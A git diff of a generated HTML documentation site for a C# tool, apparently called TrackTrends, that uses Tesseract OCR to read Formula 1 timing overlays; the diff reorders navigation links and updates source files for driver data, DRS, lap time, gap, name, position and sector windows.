+                    newButton.FlatStyle = FlatStyle.Popup;
+
+                    newButton.Click += form1.btnDriver_Click;
+
+                    buttons[driverCount] = newButton;
+                }
+                //Note : It could be better to have this directly in the same loop
+                foreach (Button button in buttons)
+                {
+                    pnl.Controls.Add(button);
+                }
+            }
+        }
+    }
+}
+
    +
    +
    +
    +
    + +
    +
    +
    +
    + + + + \ No newline at end of file diff --git a/site/Code/DriverData.html b/site/Code/DriverData.html index 3f9ee70..c0e7535 100644 --- a/site/Code/DriverData.html +++ b/site/Code/DriverData.html @@ -134,31 +134,6 @@ ConfigurationTool.cs
    • -
  • - - DriverGapToLeaderWindow.cs - -
    • -
  • - - DriverPositionWindow.cs - -
    • -
  • - - F1TVEmulator.cs - -
    • -
  • - - Program.cs - -
    • -
  • - - Window.cs - -
  • @@ -166,8 +141,13 @@
  • - - DriverLapTimeWindow.cs + + DriverGapToLeaderWindow.cs + +
    • +
  • + + DriverNameWindow.cs
  • @@ -176,13 +156,28 @@
  • + + F1TVEmulator.cs + +
    • +
  • Form1.cs
  • - - Reader.cs + + Program.cs + +
    • +
  • + + Settings.Designer.cs + +
    • +
  • + + SqliteStorage.cs
  • @@ -191,13 +186,23 @@
  • + + DataWrapper.cs + +
    • +
  • DriverDrsWindow.cs
  • - - DriverNameWindow.cs + + DriverLapTimeWindow.cs + +
    • +
  • + + DriverPositionWindow.cs
  • @@ -211,11 +216,21 @@
  • + + Reader.cs + +
    • +
  • Settings.cs
  • + + Window.cs + +
    • +
  • recoverCookiesCSV.py @@ -239,117 +254,119 @@

    DriverData.cs

    -
    /// Author : Maxime Rohmer
-/// Date : 08/05/2023
-/// File : DriverData.cs
-/// Brief : Class used to store Driver informations
-/// Version : 0.1
-
-using System;
-using System.Collections.Generic;
-using System.Linq;
-using System.Text;
-using System.Threading.Tasks;
-
-namespace Test_Merge
-{
-    public class DriverData
-    {
-        public bool DRS;        //True = Drs is opened
-        public int GapToLeader; //In ms
-        public int LapTime;     //In ms
-        public string Name;     //Ex: LECLERC
-        public int Position;    //Ex: 1
-        public int Sector1;     //in ms
-        public int Sector2;     //in ms
-        public int Sector3;     //in ms
-        public Tyre CurrentTyre;//Ex Soft 11 laps
-
-        public DriverData(bool dRS, int gapToLeader, int lapTime, string name, int position, int sector1, int sector2, int sector3, Tyre tyre)
-        {
-            DRS = dRS;
-            GapToLeader = gapToLeader;
-            LapTime = lapTime;
-            Name = name;
-            Position = position;
-            Sector1 = sector1;
-            Sector2 = sector2;
-            Sector3 = sector3;
-            CurrentTyre = tyre;
-        }
-        public DriverData()
-        {
-            DRS = false;
-            GapToLeader = -1;
-            LapTime = -1;
-            Name = "Unknown";
-            Position = -1;
-            Sector1 = -1;
-            Sector2 = -1;
-            Sector3 = -1;
-            CurrentTyre = new Tyre(Tyre.Type.Undefined, -1);
-        }
-        /// <summary>
-        /// Method that displays all the data found in a string
-        /// </summary>
-        /// <returns>string containing all the driver datas</returns>
-        public override string ToString()
-        {
-            string result = "";
-
-            //Position
-            result += "Position : " + Position + Environment.NewLine;
-            //Gap
-            result += "GapToLeader : " + Reader.ConvertMsToTime(GapToLeader) + Environment.NewLine;
-            //LapTime
-            result += "LapTime : " + Reader.ConvertMsToTime(LapTime) + Environment.NewLine;
-            //DRS
-            result += "DRS : " + DRS + Environment.NewLine;
-            //Tyres
-            result += "Uses " + CurrentTyre.Coumpound + " tyre " + CurrentTyre.NumberOfLaps + " laps old" + Environment.NewLine;
-            //Name
-            result += "DriverName : " + Name + Environment.NewLine;
-            //Sector 1
-            result += "Sector1 : " + Reader.ConvertMsToTime(Sector1) + Environment.NewLine;
-            //Sector 1
-            result += "Sector2 : " + Reader.ConvertMsToTime(Sector2) + Environment.NewLine;
-            //Sector 1
-            result += "Sector3 : " + Reader.ConvertMsToTime(Sector3) + Environment.NewLine;
-
-            return result;
-        }
-    }
-    //Structure to store tyres infos
-    public struct Tyre
-    {
-        //If new tyres were to be added you will have to need to change this enum
-        public enum Type
-        {
-            Soft,
-            Medium,
-            Hard,
-            Inter,
-            Wet,
-            Undefined
-        }
-        public Type Coumpound;
-        public int NumberOfLaps;
-        public Tyre(Type type, int laps)
-        {
-            Coumpound = type;
-            NumberOfLaps = laps;
-        }
-    }
-}
-
-
    +
    /// Author : Maxime Rohmer
+/// Date : 30/05/2023
+/// File : DriverData.cs
+/// Brief : File containing classes that behave just like structures to store data about drivers 
+/// Version : Alpha 1.0
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+using System.Threading.Tasks;
+
+namespace TrackTrends
+{
+    public class DriverData
+    {
+        public bool DRS;        //True = Drs is opened
+        public int GapToLeader; //In ms
+        public int LapTime;     //In ms
+        public string Name;     //Ex: LECLERC
+        public int Position;    //Ex: 1
+        public int Sector1;     //in ms
+        public int Sector2;     //in ms
+        public int Sector3;     //in ms
+        public Tyre CurrentTyre;//Ex Soft 11 laps
+
+        public DriverData(bool dRS, int gapToLeader, int lapTime, string name, int position, int sector1, int sector2, int sector3, Tyre tyre)
+        {
+            DRS = dRS;
+            GapToLeader = gapToLeader;
+            LapTime = lapTime;
+            Name = name;
+            Position = position;
+            Sector1 = sector1;
+            Sector2 = sector2;
+            Sector3 = sector3;
+            CurrentTyre = tyre;
+        }
+        /// <summary>
+        /// Creates a default driver data with empty values
+        /// </summary>
+        public DriverData()
+        {
+            DRS = false;
+            GapToLeader = -1;
+            LapTime = -1;
+            Name = "Unknown";
+            Position = -1;
+            Sector1 = -1;
+            Sector2 = -1;
+            Sector3 = -1;
+            CurrentTyre = new Tyre(Tyre.Type.Undefined, -1);
+        }
+        /// <summary>
+        /// Method that displays all the data found in a string
+        /// </summary>
+        /// <returns>string containing all the driver datas</returns>
+        public override string ToString()
+        {
+            string result = "";
+
+            //Position
+            result += "Position : " + Position + Environment.NewLine;
+            //Gap
+            result += "GapToLeader : " + Reader.ConvertMsToTime(GapToLeader) + Environment.NewLine;
+            //LapTime
+            result += "LapTime : " + Reader.ConvertMsToTime(LapTime) + Environment.NewLine;
+            //DRS
+            result += "DRS : " + DRS + Environment.NewLine;
+            //Tyres
+            result += "Uses " + CurrentTyre.Coumpound + " tyre " + CurrentTyre.NumberOfLaps + " laps old" + Environment.NewLine;
+            //Name
+            result += "DriverName : " + Name + Environment.NewLine;
+            //Sector 1
+            result += "Sector1 : " + Reader.ConvertMsToTime(Sector1) + Environment.NewLine;
+            //Sector 1
+            result += "Sector2 : " + Reader.ConvertMsToTime(Sector2) + Environment.NewLine;
+            //Sector 1
+            result += "Sector3 : " + Reader.ConvertMsToTime(Sector3) + Environment.NewLine;
+
+            return result;
+        }
+    }
+    //Structure to store tyres infos
+    public struct Tyre
+    {
+        //If new tyres were to be added you will have to need to change this enum
+        public enum Type
+        {
+            Soft,
+            Medium,
+            Hard,
+            Inter,
+            Wet,
+            Undefined
+        }
+        public Type Coumpound;
+        public int NumberOfLaps;
+        public Tyre(Type type, int laps)
+        {
+            Coumpound = type;
+            NumberOfLaps = laps;
+        }
+    }
+}
+
  • - - DriverGapToLeaderWindow.cs - -
    • -
  • - - DriverPositionWindow.cs - -
    • -
  • - - F1TVEmulator.cs - -
    • -
  • - - Program.cs - -
    • -
  • - - Window.cs - -
    • -
  • DriverData.cs
  • - - DriverLapTimeWindow.cs + + DriverGapToLeaderWindow.cs + +
    • +
  • + + DriverNameWindow.cs
  • @@ -175,13 +155,28 @@
  • + + F1TVEmulator.cs + +
    • +
  • Form1.cs
  • - - Reader.cs + + Program.cs + +
    • +
  • + + Settings.Designer.cs + +
    • +
  • + + SqliteStorage.cs
  • @@ -189,6 +184,11 @@ Zone.cs
    • +
  • + + DataWrapper.cs + +
  • @@ -196,8 +196,13 @@
  • - - DriverNameWindow.cs + + DriverLapTimeWindow.cs + +
    • +
  • + + DriverPositionWindow.cs
  • @@ -211,11 +216,21 @@
  • + + Reader.cs + +
    • +
  • Settings.cs
  • + + Window.cs + +
    • +
  • recoverCookiesCSV.py @@ -239,113 +254,128 @@

    DriverDrsWindow.cs

    -
    /// Author : Maxime Rohmer
-/// Date : 08/05/2023
-/// File : DriverDrsWindow.cs
-/// Brief : Window containing DRS related method and infos
-/// Version : 0.1
-
-using System;
-using System.Collections.Generic;
-using System.Drawing;
-using System.Drawing.Imaging;
-using System.Linq;
-using System.Text;
-using System.Threading.Tasks;
-using Tesseract;
-
-namespace Test_Merge
-{
-    internal class DriverDrsWindow:Window
-    {
-        private static int EmptyDrsGreenValue = -1;
-        private static Random rnd = new Random();
-        public DriverDrsWindow(Bitmap image, Rectangle bounds,bool generateEngine = true) : base(image, bounds,generateEngine)
-        {
-            Name = "DRS";
-        }
-        public override async Task<object> DecodePng()
-        {
-            bool result = false;
-            int greenValue = GetGreenPixels();
-            if (EmptyDrsGreenValue == -1)
-                EmptyDrsGreenValue = greenValue;
-
-            if (greenValue > EmptyDrsGreenValue + EmptyDrsGreenValue / 100 * 30)
-                result = true;
-
-            return result;
-        }
-        private unsafe int GetGreenPixels()
-        {
-            int tot = 0;
-
-            Bitmap bmp = WindowImage;
-            Rectangle rect = new Rectangle(0, 0, bmp.Width, bmp.Height);
-            BitmapData bmpData = bmp.LockBits(rect, ImageLockMode.ReadOnly, bmp.PixelFormat);
-            int bytesPerPixel = Bitmap.GetPixelFormatSize(bmp.PixelFormat) / 8;
-
-            unsafe
-            {
-                byte* ptr = (byte*)bmpData.Scan0.ToPointer();
-                for (int y = 0; y < bmp.Height; y++)
-                {
-                    byte* currentLine = ptr + (y * bmpData.Stride);
-                    for (int x = 0; x < bmp.Width; x++)
-                    {
-                        byte* pixel = currentLine + (x * bytesPerPixel);
-
-                        byte blue = pixel[0];
-                        byte green = pixel[1];
-                        byte red = pixel[2];
-
-                        if (green > blue * 1.5 && green > red * 1.5)
-                        {
-                            tot++;
-                        }
-                    }
-                }
-            }
-            bmp.UnlockBits(bmpData);
-
-            return tot;
-        }
-        public Rectangle GetBox()
-        {
-            var tessImage = Pix.LoadFromMemory(ImageToByte(WindowImage));
-            Engine.SetVariable("tessedit_char_whitelist", "");
-            Page page = Engine.Process(tessImage);
-
-            using (var iter = page.GetIterator())
-            {
-                iter.Begin();
-                do
-                {
-                    Rect boundingBox;
-
-                    // Get the bounding box for the current element
-                    if (iter.TryGetBoundingBox(PageIteratorLevel.Word, out boundingBox))
-                    {
-                        page.Dispose();
-                        return new Rectangle(boundingBox.X1, boundingBox.X2, boundingBox.Width, boundingBox.Height);
-                    }
-                } while (iter.Next(PageIteratorLevel.Word));
-
-                page.Dispose();
-                return new Rectangle(0, 0, 0, 0);
-            }
-        }
-    }
-}
-
-
    +
    /// Author : Maxime Rohmer
+/// Date : 30/05/2023
+/// File : DriverDrsWindow.cs
+/// Brief : Window containing DRS related method and infos
+/// Version : Alpha 1.0
+
+using System;
+using System.Collections.Generic;
+using System.Drawing;
+using System.Drawing.Imaging;
+using System.Linq;
+using System.Text;
+using System.Threading.Tasks;
+using Tesseract;
+
+namespace TrackTrends
+{
+    public class DriverDrsWindow:Window
+    {
+        private static int EmptyDrsGreenValue = -1;
+        private static Random rnd = new Random();
+        public DriverDrsWindow(Bitmap image, Rectangle bounds,bool generateEngine = true) : base(image, bounds,generateEngine)
+        {
+            Name = "DRS";
+        }
+        /// <summary>
+        /// Method that will decode the content of the window
+        /// </summary>
+        /// <returns>returns a boolean (true = DRS OPEN, false = DRS CLOSED)</returns>
+        public override object DecodePng()
+        {
+            bool result = false;
+
+            //DEBUG
+            //WindowImage.Save("./DRS/"+rnd.Next(0,99999)+".png");
+
+            int greenValue = GetGreenPixels();
+            if (EmptyDrsGreenValue == -1)
+                EmptyDrsGreenValue = greenValue;
+
+            if (greenValue > EmptyDrsGreenValue + EmptyDrsGreenValue / 100 * 30)
+                result = true;
+
+            return result;
+        }
+        /// <summary>
+        /// Method that will get the green pixel proportion in the image, this can be used to determin if the DRS has been actuated
+        /// </summary>
+        /// <returns>The number of clearely green pixels</returns>
+        private unsafe int GetGreenPixels()
+        {
+            int tot = 0;
+
+            Bitmap bmp = WindowImage;
+            Rectangle rect = new Rectangle(0, 0, bmp.Width, bmp.Height);
+            BitmapData bmpData = bmp.LockBits(rect, ImageLockMode.ReadOnly, bmp.PixelFormat);
+            int bytesPerPixel = Bitmap.GetPixelFormatSize(bmp.PixelFormat) / 8;
+
+            unsafe
+            {
+                byte* ptr = (byte*)bmpData.Scan0.ToPointer();
+                for (int y = 0; y < bmp.Height; y++)
+                {
+                    byte* currentLine = ptr + (y * bmpData.Stride);
+                    for (int x = 0; x < bmp.Width; x++)
+                    {
+                        byte* pixel = currentLine + (x * bytesPerPixel);
+
+                        byte blue = pixel[0];
+                        byte green = pixel[1];
+                        byte red = pixel[2];
+
+                        if (green > blue * 1.5 && green > red * 1.5)
+                        {
+                            tot++;
+                        }
+                    }
+                }
+            }
+            bmp.UnlockBits(bmpData);
+
+            return tot;
+        }
+        /// <summary>
+        /// This method is used to lock on where exactly the DRS window is
+        /// </summary>
+        /// <returns>Returns a rectangle containing the DRS</returns>
+        public Rectangle GetBox()
+        {
+            var tessImage = Pix.LoadFromMemory(ImageToByte(WindowImage));
+            Engine.SetVariable("tessedit_char_whitelist", "");
+            Page page = Engine.Process(tessImage);
+
+            using (var iter = page.GetIterator())
+            {
+                iter.Begin();
+                do
+                {
+                    Rect boundingBox;
+
+                    // Get the bounding box for the current element
+                    if (iter.TryGetBoundingBox(PageIteratorLevel.Word, out boundingBox))
+                    {
+                        page.Dispose();
+                        return new Rectangle(boundingBox.X1, boundingBox.X2, boundingBox.Width, boundingBox.Height);
+                    }
+                } while (iter.Next(PageIteratorLevel.Word));
+
+                page.Dispose();
+                return new Rectangle(0, 0, 0, 0);
+            }
+        }
+    }
+}
+
    • +
  • + + DriverData.cs + +
  • @@ -141,33 +146,8 @@
  • - - DriverPositionWindow.cs - -
    • -
  • - - F1TVEmulator.cs - -
    • -
  • - - Program.cs - -
    • -
  • - - Window.cs - -
    • -
  • - - DriverData.cs - -
    • -
  • - - DriverLapTimeWindow.cs + + DriverNameWindow.cs
  • @@ -176,13 +156,28 @@
  • + + F1TVEmulator.cs + +
    • +
  • Form1.cs
  • - - Reader.cs + + Program.cs + +
    • +
  • + + Settings.Designer.cs + +
    • +
  • + + SqliteStorage.cs
  • @@ -191,13 +186,23 @@
  • + + DataWrapper.cs + +
    • +
  • DriverDrsWindow.cs
  • - - DriverNameWindow.cs + + DriverLapTimeWindow.cs + +
    • +
  • + + DriverPositionWindow.cs
  • @@ -211,11 +216,21 @@
  • + + Reader.cs + +
    • +
  • Settings.cs
  • + + Window.cs + +
    • +
  • recoverCookiesCSV.py @@ -239,47 +254,46 @@

    DriverGapToLeaderWindow.cs

    -
    /// Author : Maxime Rohmer
-/// Date : 08/05/2023
-/// File : DriverGapToLeaderWindow.cs
-/// Brief : Window containing infos about the gap to the leader of a driver
-/// Version : 0.1
-
-using System;
-using System.Collections.Generic;
-using System.Drawing;
-using System.Linq;
-using System.Text;
-using System.Threading.Tasks;
-
-namespace Test_Merge
-{
-    internal class DriverGapToLeaderWindow:Window
-    {
-        public DriverGapToLeaderWindow(Bitmap image, Rectangle bounds, bool generateEngine = true) : base(image, bounds,generateEngine)
-        {
-            Name = "GapToLeader";
-        }
-        /// <summary>
-        /// Decodes the gap to leader using Tesseract OCR 
-        /// </summary>
-        /// <returns></returns>
-        public override async Task<object> DecodePng()
-        {
-            int result = await GetTimeFromPng(WindowImage, OcrImage.WindowType.Gap, Engine);
-            return result;
-        }
-    }
-}
-
-
    +
    /// Author : Maxime Rohmer
+/// Date : 30/05/2023
+/// File : DriverGapToLeaderWindow.cs
+/// Brief : Window containing infos about the gap to the leader of a driver
+/// Version : Alpha 1.0
+
+using System;
+using System.Collections.Generic;
+using System.Drawing;
+using System.Linq;
+using System.Text;
+using System.Threading.Tasks;
+
+namespace TrackTrends
+{
+    public class DriverGapToLeaderWindow:Window
+    {
+        public DriverGapToLeaderWindow(Bitmap image, Rectangle bounds, bool generateEngine = true) : base(image, bounds,generateEngine)
+        {
+            Name = "GapToLeader";
+        }
+        /// <summary>
+        /// Decodes the gap to leader using Tesseract OCR 
+        /// </summary>
+        /// <returns>Returns the gap to the leader in miliseconds (int)</returns>
+        public override object DecodePng()
+        {
+            int result = GetTimeFromPng(WindowImage, OcrImage.WindowType.Gap, Engine);
+            return result;
+        }
+    }
+}
+
  • + + DriverData.cs + +
    • +
  • DriverGapToLeaderWindow.cs
  • - - DriverPositionWindow.cs + + DriverNameWindow.cs + +
    • +
  • + + DriverSectorWindow.cs
  • @@ -150,18 +160,38 @@
  • + + Form1.cs + +
    • +
  • Program.cs
  • - - Window.cs + + Settings.Designer.cs
  • - - DriverData.cs + + SqliteStorage.cs + +
    • +
  • + + Zone.cs + +
    • +
  • + + DataWrapper.cs + +
    • +
  • + + DriverDrsWindow.cs
  • @@ -171,33 +201,8 @@
  • - - DriverSectorWindow.cs - -
    • -
  • - - Form1.cs - -
    • -
  • - - Reader.cs - -
    • -
  • - - Zone.cs - -
    • -
  • - - DriverDrsWindow.cs - -
    • -
  • - - DriverNameWindow.cs + + DriverPositionWindow.cs
  • @@ -211,11 +216,21 @@
  • + + Reader.cs + +
    • +
  • Settings.cs
  • + + Window.cs + +
    • +
  • recoverCookiesCSV.py @@ -239,47 +254,46 @@

    DriverLapTimeWindow.cs

    -
    /// Author : Maxime Rohmer
-/// Date : 08/05/2023
-/// File : DriverLapTimeWindow
-/// Brief : Window containing infos about the lap time of a driver
-/// Version : 0.1
-
-using System;
-using System.Collections.Generic;
-using System.Linq;
-using System.Text;
-using System.Threading.Tasks;
-using System.Drawing;
-
-namespace Test_Merge
-{
-    internal class DriverLapTimeWindow:Window
-    {
-        public DriverLapTimeWindow(Bitmap image, Rectangle bounds, bool generateEngine = true) : base(image, bounds,generateEngine)
-        {
-            Name = "LapTime";
-        }
-        /// <summary>
-        /// Decodes the lap time contained in the image using OCR Tesseract
-        /// </summary>
-        /// <returns>The laptime in int (ms)</returns>
-        public override async Task<object> DecodePng()
-        {
-            int result = await GetTimeFromPng(WindowImage, OcrImage.WindowType.LapTime, Engine);
-            return result;
-        }
-    }
-}
-
-
    +
    /// Author : Maxime Rohmer
+/// Date : 30/05/2023
+/// File : DriverLapTimeWindow
+/// Brief : Window containing infos about the lap time of a driver
+/// Version : Alpha 1.0
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+using System.Threading.Tasks;
+using System.Drawing;
+
+namespace TrackTrends
+{
+    public class DriverLapTimeWindow:Window
+    {
+        public DriverLapTimeWindow(Bitmap image, Rectangle bounds, bool generateEngine = true) : base(image, bounds,generateEngine)
+        {
+            Name = "LapTime";
+        }
+        /// <summary>
+        /// Decodes the lap time contained in the image using OCR Tesseract
+        /// </summary>
+        /// <returns>The laptime in int (ms)</returns>
+        public override object DecodePng()
+        {
+            int result = GetTimeFromPng(WindowImage, OcrImage.WindowType.LapTime, Engine);
+            return result;
+        }
+    }
+}
+
  • - - DriverGapToLeaderWindow.cs - -
    • -
  • - - DriverPositionWindow.cs - -
    • -
  • - - F1TVEmulator.cs - -
    • -
  • - - Program.cs - -
    • -
  • - - Window.cs - -
    • -
  • DriverData.cs
  • - - DriverLapTimeWindow.cs + + DriverGapToLeaderWindow.cs + +
    • +
  • + + + DriverNameWindow.cs
  • @@ -175,13 +156,28 @@
  • + + F1TVEmulator.cs + +
    • +
  • Form1.cs
  • - - Reader.cs + + Program.cs + +
    • +
  • + + Settings.Designer.cs + +
    • +
  • + + SqliteStorage.cs
  • @@ -190,14 +186,23 @@
  • + + DataWrapper.cs + +
    • +
  • DriverDrsWindow.cs
    • -
  • - - - DriverNameWindow.cs +
  • + + DriverLapTimeWindow.cs + +
    • +
  • + + DriverPositionWindow.cs
  • @@ -211,11 +216,21 @@
  • + + Reader.cs + +
    • +
  • Settings.cs
  • + + Window.cs + +
    • +
  • recoverCookiesCSV.py @@ -239,73 +254,71 @@

    DriverNameWindow.cs

    -
    /// Author : Maxime Rohmer
-/// Date : 08/05/2023
-/// File : DriverNameWindow
-/// Brief : Window containing infos about the name of the driver
-/// Version : 0.1
-
-using System;
-using System.Collections.Generic;
-using System.Linq;
-using System.Text;
-using System.Threading.Tasks;
-using System.Drawing;
-
-namespace Test_Merge
-{
-    public class DriverNameWindow : Window
-    {
-        public static Random rnd = new Random();
-        public DriverNameWindow(Bitmap image, Rectangle bounds, bool generateEngine = true) : base(image, bounds,generateEngine)
-        {
-            Name = "Name";
-        }
-        /// <summary>
-        /// Decodes using OCR wich driver name is in the image
-        /// </summary>
-        /// <param name="DriverList"></param>
-        /// <returns>The driver name in string</returns>
-        public override async Task<object> DecodePng(List<string> DriverList)
-        {
-            string result = "";
-            result = await GetStringFromPng(WindowImage, Engine);
-
-            if (!IsADriver(DriverList, result))
-            {
-                //I put everything in uppercase to try to lower the chances of bad answers
-                result = FindClosestMatch(DriverList.ConvertAll(d => d.ToUpper()), result.ToUpper());
-            }
-            return result;
-        }
-        /// <summary>
-        /// Verifies that the name found in the OCR is a valid name
-        /// </summary>
-        /// <param name="driverList"></param>
-        /// <param name="potentialDriver"></param>
-        /// <returns>If ye or no the driver exists</returns>
-        private static bool IsADriver(List<string> driverList, string potentialDriver)
-        {
-            bool result = false;
-            //I cant use drivers.Contains because it has missmatched cases and all
-            foreach (string name in driverList)
-            {
-                if (name.ToUpper() == potentialDriver.ToUpper())
-                    result = true;
-            }
-            return result;
-        }
-    }
-}
-
-
    +
    /// Author : Maxime Rohmer
+/// Date : 30/05/2023
+/// File : DriverNameWindow
+/// Brief : Window containing infos about the name of the driver
+/// Version : Alpha 1.0
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+using System.Threading.Tasks;
+using System.Drawing;
+
+namespace TrackTrends
+{
+    public class DriverNameWindow : Window
+    {
+        public DriverNameWindow(Bitmap image, Rectangle bounds, bool generateEngine = true) : base(image, bounds,generateEngine)
+        {
+            Name = "Name";
+        }
+        /// <summary>
+        /// Decodes using OCR wich driver name is in the image
+        /// </summary>
+        /// <param name="DriverList">A list of all the names that can be on the image</param>
+        /// <returns>a string representing the found driver name. It will be one of the ones given in the list</returns>
+        public override object DecodePng(List<string> DriverList)
+        {
+            string result = "";
+            result = GetStringFromPng(WindowImage, Engine);
+
+            if (!IsADriver(DriverList, result))
+            {
+                //I put everything in uppercase to try to lower the chances of bad answers
+                result = FindClosestMatch(DriverList.ConvertAll(d => d.ToUpper()), result.ToUpper());
+            }
+            return result;
+        }
+        /// <summary>
+        /// Verifies that the name found in the OCR is a valid name
+        /// </summary>
+        /// <param name="driverList">The list of all the drivers name that can be found in the image</param>
+        /// <param name="potentialDriver">The driver you want to be sure if it exists or not</param>
+        /// <returns>If ye or no the driver exists</returns>
+        private static bool IsADriver(List<string> driverList, string potentialDriver)
+        {
+            bool result = false;
+            //I cant use drivers.Contains because it has missmatched cases and all
+            foreach (string name in driverList)
+            {
+                if (name.ToUpper() == potentialDriver.ToUpper())
+                    result = true;
+            }
+            return result;
+        }
+    }
+}
+
  • - - DriverGapToLeaderWindow.cs - -
    • -
  • - - - DriverPositionWindow.cs - -
    • -
  • - - F1TVEmulator.cs - -
    • -
  • - - Program.cs - -
    • -
  • - - Window.cs - -
    • -
  • DriverData.cs
  • - - DriverLapTimeWindow.cs + + DriverGapToLeaderWindow.cs + +
    • +
  • + + DriverNameWindow.cs
  • @@ -176,13 +155,28 @@
  • + + F1TVEmulator.cs + +
    • +
  • Form1.cs
  • - - Reader.cs + + Program.cs + +
    • +
  • + + Settings.Designer.cs + +
    • +
  • + + SqliteStorage.cs
  • @@ -191,13 +185,24 @@
  • + + DataWrapper.cs + +
    • +
  • DriverDrsWindow.cs
  • - - DriverNameWindow.cs + + DriverLapTimeWindow.cs + +
    • +
  • + + + DriverPositionWindow.cs
  • @@ -211,11 +216,21 @@
  • + + Reader.cs + +
    • +
  • Settings.cs
  • + + Window.cs + +
    • +
  • recoverCookiesCSV.py @@ -239,57 +254,56 @@

    DriverPositionWindow.cs

    -
    /// Author : Maxime Rohmer
-/// Date : 08/05/2023
-/// File : DriverPosition.cs
-/// Brief : Window containing infos about the position of a driver.
-/// Version : 0.1
-
-using System;
-using System.Collections.Generic;
-using System.Linq;
-using System.Text;
-using System.Threading.Tasks;
-using System.Drawing;
-
-namespace Test_Merge
-{
-    public class DriverPositionWindow:Window
-    {
-        public DriverPositionWindow(Bitmap image, Rectangle bounds, bool generateEngine = true) : base(image, bounds,generateEngine)
-        {
-            Name = "Position";
-        }
-        /// <summary>
-        /// Decodes the position number using Tesseract OCR
-        /// </summary>
-        /// <returns>The position of the pilot in int</returns>
-        public override async Task<object> DecodePng()
-        {
-            string ocrResult = await GetStringFromPng(WindowImage, Engine, "0123456789");
-
-            int position;
-            try
-            {
-                position = Convert.ToInt32(ocrResult);
-            }
-            catch
-            {
-                position = -1;
-            }
-            return position;
-        }
-    }
-}
-
-
    +
    /// Author : Maxime Rohmer
+/// Date : 30/05/2023
+/// File : DriverPositionWindow.cs
+/// Brief : Window containing infos about the position of a driver.
+/// Version : Alpha 1.0
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+using System.Threading.Tasks;
+using System.Drawing;
+
+namespace TrackTrends
+{
+    public class DriverPositionWindow:Window
+    {
+        public DriverPositionWindow(Bitmap image, Rectangle bounds, bool generateEngine = true) : base(image, bounds,generateEngine)
+        {
+            Name = "Position";
+        }
+        /// <summary>
+        /// Decodes the position number using Tesseract OCR
+        /// </summary>
+        /// <returns>An int representing the position of the driver (should be between 1 and 20 included)</returns>
+        public override object DecodePng()
+        { 
+            string ocrResult = GetStringFromPng(WindowImage, Engine, "0123456789");
+
+            int position;
+            try
+            {
+                position = Convert.ToInt32(ocrResult);
+            }
+            catch
+            {
+                position = -1;
+            }
+            return position;
+        }
+    }
+}
+
  • - - DriverGapToLeaderWindow.cs - -
    • -
  • - - DriverPositionWindow.cs - -
    • -
  • - - F1TVEmulator.cs - -
    • -
  • - - Program.cs - -
    • -
  • - - Window.cs - -
    • -
  • DriverData.cs
  • - - DriverLapTimeWindow.cs + + DriverGapToLeaderWindow.cs + +
    • +
  • + + DriverNameWindow.cs
  • @@ -176,13 +156,28 @@
  • + + F1TVEmulator.cs + +
    • +
  • Form1.cs
  • - - Reader.cs + + Program.cs + +
    • +
  • + + Settings.Designer.cs + +
    • +
  • + + SqliteStorage.cs
  • @@ -191,13 +186,23 @@
  • + + DataWrapper.cs + +
    • +
  • DriverDrsWindow.cs
  • - - DriverNameWindow.cs + + DriverLapTimeWindow.cs + +
    • +
  • + + DriverPositionWindow.cs
  • @@ -211,11 +216,21 @@
  • + + Reader.cs + +
    • +
  • Settings.cs
  • + + Window.cs + +
    • +
  • recoverCookiesCSV.py @@ -239,47 +254,46 @@

    DriverSectorWindow.cs

    -
    /// Author : Maxime Rohmer
-/// Date : 08/05/2023
-/// File : DriverSectorWindow.cs
-/// Brief : Window containing infos about a driver sector time. Can be the first second or third, does not matter.
-/// Version : 0.1
-
-using System;
-using System.Collections.Generic;
-using System.Linq;
-using System.Text;
-using System.Threading.Tasks;
-using System.Drawing;
-
-namespace Test_Merge
-{
-    internal class DriverSectorWindow:Window
-    {
-        public DriverSectorWindow(Bitmap image, Rectangle bounds, int sectorId, bool generateEngine = true) : base(image, bounds,generateEngine)
-        {
-            Name = "Sector"+sectorId;
-        }
-        /// <summary>
-        /// Decodes the sector
-        /// </summary>
-        /// <returns>the sector time in int (ms)</returns>
-        public override async Task<object> DecodePng()
-        {
-            int ocrResult = await GetTimeFromPng(WindowImage, OcrImage.WindowType.Sector, Engine);
-            return ocrResult;
-        }
-    }
-}
-
-
    +
    /// Author : Maxime Rohmer
+/// Date : 30/05/2023
+/// File : DriverSectorWindow.cs
+/// Brief : Window containing infos about a driver sector time. Can be the first second or third, does not matter.
+/// Version : Alpha 1.0
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+using System.Threading.Tasks;
+using System.Drawing;
+
+namespace TrackTrends
+{
+    public class DriverSectorWindow:Window
+    {
+        public DriverSectorWindow(Bitmap image, Rectangle bounds, int sectorId, bool generateEngine = true) : base(image, bounds,generateEngine)
+        {
+            Name = "Sector"+sectorId;
+        }
+        /// <summary>
+        /// Decodes the sector
+        /// </summary>
+        /// <returns>the sector time in int (ms)</returns>
+        public override object DecodePng()
+        {
+            int ocrResult = GetTimeFromPng(WindowImage, OcrImage.WindowType.Sector, Engine);
+            return ocrResult;
+        }
+    }
+}
+
  • - - DriverGapToLeaderWindow.cs - -
    • -
  • - - DriverPositionWindow.cs - -
    • -
  • - - F1TVEmulator.cs - -
    • -
  • - - Program.cs - -
    • -
  • - - Window.cs - -
    • -
  • DriverData.cs
  • - - DriverLapTimeWindow.cs + + DriverGapToLeaderWindow.cs + +
    • +
  • + + DriverNameWindow.cs
  • @@ -175,13 +155,28 @@
  • + + F1TVEmulator.cs + +
    • +
  • Form1.cs
  • - - Reader.cs + + Program.cs + +
    • +
  • + + Settings.Designer.cs + +
    • +
  • + + SqliteStorage.cs
  • @@ -190,13 +185,23 @@
  • + + DataWrapper.cs + +
    • +
  • DriverDrsWindow.cs
  • - - DriverNameWindow.cs + + DriverLapTimeWindow.cs + +
    • +
  • + + DriverPositionWindow.cs
  • @@ -211,11 +216,21 @@
  • + + Reader.cs + +
    • +
  • Settings.cs
  • + + Window.cs + +
    • +
  • recoverCookiesCSV.py @@ -239,156 +254,160 @@

    DriverTyresWindow.cs

    -
    /// Author : Maxime Rohmer
-/// Date : 08/05/2023
-/// File : DriverTyresWindow.cs
-/// Brief : Window containing infos about a driver's tyre
-/// Version : 0.1
-
-using System;
-using System.Collections.Generic;
-using System.Linq;
